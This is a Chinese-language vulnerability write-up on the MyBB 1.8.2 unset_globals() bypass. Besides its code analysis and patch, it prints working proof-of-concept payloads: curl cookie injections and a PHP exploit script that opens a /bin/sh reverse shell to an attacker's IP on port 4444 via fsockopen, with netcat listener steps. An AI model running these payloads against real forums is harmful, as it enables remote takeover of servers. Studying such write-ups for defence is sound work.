• MyBB incclass_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability


    catalogue

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

    Relevant Link:

    https://cxsecurity.com/issue/WLB-2015120164
    https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html
    https://www.exploit-db.com/exploits/35323/


    2. 漏洞触发条件

    0x1: POC1

    //php.ini配置
    1. request_order = "GP"
    2. register_globals = On
    //remote code execution by just using curl on the command line
    3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

    PHP自动化验证脚本

    <?php
    
    // Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit
    // Date: 15/12/2015
    // Exploit Author: ssbostan
    // Vendor Homepage: http://www.mybb.com/
    // Software Link: http://resources.mybb.com/downloads/mybb_1802.zip
    // Version: <= 1.8.2
    // Tested on: MyBB 1.8.2
    
    $target="http://localhost/mybb1802/index.php";
    $yourip="ipaddress";
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_exec($ch);
    curl_close($ch);
    
    // nc -l 4444
    // php mybb-1802-core-exploit.php
    
    ?>

    0x2: POC2

    //php.ini
    1. disable_functions = ini_get
    2. register_globals = On
    //url
    3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1

    0x3: POC3

    //php.ini配置
    1. request_order = "GP"
    2. register_globals = On
    //url
    curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
    //Works on disable_functions = ini_get and register\_globals = On:
    css.php?shutdown_queries[]=SQL_Inj

     
    3. 漏洞影响范围

    MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15


    4. 漏洞代码分析

    mybb_1802incclass_core.php

    ..
    // If we've got register globals on, then kill them too
    /*
    When PHP's register_globals configuration set on, MyBB will call unset_globals() function
    all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.
    这是MyBB做的一种安全机制,在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理",抵消可能出现的register_globals导致的安全问题
    */
    if(@ini_get("register_globals") == 1)
    {
        $this->unset_globals($_POST);
        $this->unset_globals($_GET);
        $this->unset_globals($_FILES);
        $this->unset_globals($_COOKIE);
    }
    ..
    /**
     * Unsets globals from a specific array.
     *
     * @param array The array to unset from.
     */
    function unset_globals($array)
    {
        if(!is_array($array))
        {
            return;
        }
    
        foreach(array_keys($array) as $key)
        {
            unset($GLOBALS[$key]);
            unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
        }
    }

    这个逻辑看起来好像没问题,而且是出于安全方面的考虑进行了防御性处理,但是因为PHP内核的一些特性,导致unset_globals()函数的执行能够被绕过

    1. 在正常情况下,通过GPC方式输入的变量,即使开启了register_globals,也会被自动进行unset $GLOBAL[$var]处理,这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑,这防御了本地变量覆盖的发生
    2. 但是存在一个特殊的变量GLOBALS,$GLOBALS超全局数组是PHP内核负责创建维护的,我们可以在程序中任意位置读写$GLOBALS['key'],PHP内核绑定了$GLOBALS数组和global symbol table之间的连接
    3. 如果黑客传入: foo.php?GLOBALS=1,则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接
    4. 注意到MyBB源代码中这行代码
    /*
    mybb_1802incclass_core.php
    if(@ini_get("register_globals") == 1)
    {
        ..
        $this->unset_globals($_COOKIE);
    }
    黑客注入的COOKIES为: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1
    则代码逻辑会按如下执行
    1. unset($GLOBALS["GLOBALS"]);
    2. 则之后的unset($GLOBALS["shutdown_functions"]);就会失效,因为此时绑定已经不存在了
    */
    5. 此时已经绕过了MyBB原生的变量覆盖防御机制

    需要注意的是,MyBB的防御框架里注意到了这个问题
    mybb_1802incclass_core.php

    ..
    function __construct()
    {
        // Set up MyBB
        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
        foreach($protected as $var)
        {
            if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
            {
                die("Hacking attempt");
            }
        }
        ..

    MyBB的本意是阻止请求参数中出现GET/POST/GLOBALS这种可能影响全局变量参数的值,但是问题在PHP中的$_REQUEST也是一个超全局变量,它的值受php.ini影响,在PHP5.3以后,request_order = "GP",也就是说,$_REQUEST只包括GET/POST中的参数,这直接导致了对COOKIES的敏感参数过滤失效,所以,黑客可以在COOKIES中放入变量覆盖攻击payload

    GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;

    稍微总结一下,这个利用前提条件有2种场景

    1. MyBB <= PHP 5.3: request_order = "GP"
    2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 

    理解了变量覆盖发生的前提,下一步看攻击Payload是如何构造并触发本地变量覆盖的
    mybb_1802incclass_core.php

    //class_core.php几乎是所有页面脚本都会调用到的文件,下面的析构函数会被频繁调用
    function __destruct()
    {
        // Run shutdown function
        if(function_exists("run_shutdown"))
        {
            run_shutdown();
        }
    }

    run_shutdown();
    mybb_1802incfunctions.php

    /**
     * Runs the shutdown items after the page has been sent to the browser.
     *
     */
    function run_shutdown()
    {
        //the $shutdown_functions was initialized via add\_shutdown() function in init.php
        //但是因为本地变量覆盖漏洞的存在,这里$shutdown_functions可以被劫持
        global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
    
        if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))
        {
            return;
        }
        ..
        // Run any shutdown functions if we have them
        if(is_array($shutdown_functions))
        {
            foreach($shutdown_functions as $function)
            {
                call_user_func_array($function['function'], $function['arguments']);
            }
        }
        ..

    Relevant Link:

    http://0day.today/exploit/22913


    5. 防御方法

    incclass_core.php

    class MyBB {
        ..
        function __construct()
        {
            // Set up MyBB
            $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
            foreach($protected as $var)
            {
                /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/
                if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))
                {
                    die("Hacking attempt");
                }
            }
            ..

    Relevant Link:

    http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/
    http://cn.313.ninja/exploit/22913


    6. 攻防思考

    Copyright (c) 2016 Little5ann All rights reserved

  • 相关阅读:
    iOS coreData
    具体解释首页被K后SEOer必做的三大排除方法!
    linux VIM基本命令
    0046算法笔记——【随机化算法】舍伍德随机化思想解决跳跃表问题
    android新浪分享实例
    DIV固定在页面某个位置,不随鼠标滚动而滚动
    迷宫问题算法分析
    ExtJs选择器
    第二篇Activity:2、任务和返回堆栈(Tasks and Back Stack)之基本介绍
    面试题,将数字依次按三角形输出,每行一个数字
  • 原文地址:https://www.cnblogs.com/LittleHann/p/5156855.html
Copyright © 2020-2023  润新知